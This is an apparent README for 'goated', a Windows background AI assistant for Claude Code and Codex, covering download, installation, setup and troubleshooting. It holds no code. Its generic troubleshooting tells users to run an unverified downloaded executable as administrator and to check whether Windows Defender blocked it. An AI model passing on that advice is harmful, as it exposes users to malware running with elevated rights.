🤖 goated - Your Always-On AI Assistant

🚀 What is goated?

goated is a personal AI assistant for Windows. It runs in the background and helps you work with Claude Code and Codex from one place. It is built for daily use, so you can open it, set it up once, and keep using it with little effort.

Use goated to:

• keep an AI assistant ready at all times
• manage prompts and tasks in one app
• work with Claude Code and Codex without extra setup
• stay focused while you switch less between tools

🖥️ System Requirements

Before you install goated, make sure your PC can run it:

• Windows 10 or Windows 11
• 64-bit processor
• At least 8 GB of RAM
• 200 MB of free disk space
• Internet connection for setup and AI features

For a smooth experience, a machine with 16 GB of RAM works better if you keep other apps open while using goated.

📥 Download goated

Visit this page to download the latest Windows release:

Go to the goated releases page

On that page, look for the newest version and download the Windows file for your PC. If you see more than one file, pick the one that matches Windows and your system type.

🛠️ Install on Windows

After the download finishes:

1. Open your Downloads folder.
2. Find the goated file you just downloaded.
3. If the file is a .zip, right-click it and choose Extract All.
4. Open the extracted folder.
5. If the file is an .exe, double-click it to start the app.
6. If Windows asks for permission, choose Yes.
7. Follow the steps on screen to finish setup.

If goated opens in a browser or separate window, keep that window open while you use the app.

⚡ First Setup

When you start goated for the first time, you may need to set a few things up:

1. Open the app.
2. Sign in if the app asks for an account.
3. Add your Claude Code or Codex access if prompted.
4. Set your default workspace or folder.
5. Choose your preferred startup option.
6. Save your settings.

If you plan to use goated every day, set it to open when Windows starts.

💡 How to Use goated

goated is built to be simple to use:

• Type a task or question into the prompt box
• Choose Claude Code or Codex if the app gives you that option
• Send your request
• Review the response
• Copy the result or apply it in your workflow

Good ways to use goated:

• write and edit text
• plan work tasks
• draft code-related prompts
• ask for help with routine computer work
• keep a running AI assistant session open all day

🔧 Common Setup Tips

If the app does not start right away:

• Make sure the download finished
• Run the file again
• Right-click the app and choose Run as administrator
• Check that Windows Defender did not block the file
• Restart your PC and try again

If the app opens but does not connect:

• Check your internet connection
• Confirm your Claude Code or Codex details
• Close the app and open it again
• Try signing in one more time

📁 Typical App Files

After install, you may see files and folders like these:

• goated.exe — the main app
• config folder — saved settings
• logs folder — app history and error info
• assets folder — icons and interface files

Keep these files together in the same folder unless the app says otherwise.

🔐 Privacy and Local Use

goated is meant for personal use on your own computer. It keeps your work in one place and gives you control over how you use it. If the app stores settings or history, those items stay on your machine unless you connect a service that sends data online.

For the best result, review your app settings before you start a long session.

🧭 Daily Workflow

A simple way to use goated each day:

1. Start Windows.
2. Open goated.
3. Load your usual workspace.
4. Ask for help with your current task.
5. Keep the app open while you work.
6. Return to it when you need another answer.

This setup works well if you want an AI assistant that stays ready without extra steps

❓ Help Using the App

If something does not work:

• close goated and open it again
• check for the newest release
• make sure your Windows version is current
• confirm that your account details are correct
• try the setup steps again from the start

If the app shows an error, write down the message before you close it. That makes it easier to find the cause later

📦 Updating goated

When a new version appears on the releases page:

1. Download the latest Windows file.
2. Close the old version.
3. Install or replace the app files.
4. Open goated again.
5. Check your settings after the update.

Keeping the app up to date helps you get the latest fixes and changes